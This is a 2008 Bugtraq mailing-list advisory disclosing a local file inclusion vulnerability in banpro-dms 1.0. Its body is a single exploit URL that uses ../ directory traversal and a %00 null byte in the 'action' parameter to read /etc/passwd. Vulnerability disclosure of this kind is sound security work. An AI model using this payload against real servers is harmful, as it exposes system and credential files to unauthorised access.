banpro-dms 1.0 local file inclusion vulnerability
- To: bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: banpro-dms 1.0 local file inclusion vulnerability
- From: "muuratsalo experimental hack lab" <muuratsalo@xxxxxxxxx>
- Date: Sat, 16 Feb 2008 15:05:02 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=0gJPx3Nd4nDHdHGMAne3IrsOokocD+l0X3bnlYPfykg=; b=gFGITEVeEPosY1ejS6jXzDtAW7bLIeV1V9xk0uxaWTWFxfwN8H+ruiUtsdSXjRTqKjndMUdp3pAljB4DFpit30N3gNGQeyIosIqunOnsUfB44Ma65p2SEsX/HZea12yisyJUMKj/yqfGKGXPNfmb9fSjWLy1hDdVhsnshNfhlHM=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=poljaPkp1NusF1aXl9rME/FPa48fPv5oUHGSfozoCMHQqDhZcp/tX+yJqsXaUpoNK5TxvquAOKfO7Dpgk9QbDsPACoHogh30nJCQbzlMYSkzgmDbTxE+GSBn4hNOcuCcF1h4sqjdIshY+ICI2AijfY460tPGN27qghPl1f6Bg64=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
banpro-dms 1.0 local file inclusion vulnerability
download http://sourceforge.net/projects/banprodms
author muuratsalo
contact muuratsalo[at]gmail.com
exploit
http://localhost/DMS/index.php?action=../../../../../../../../../../etc/passwd%00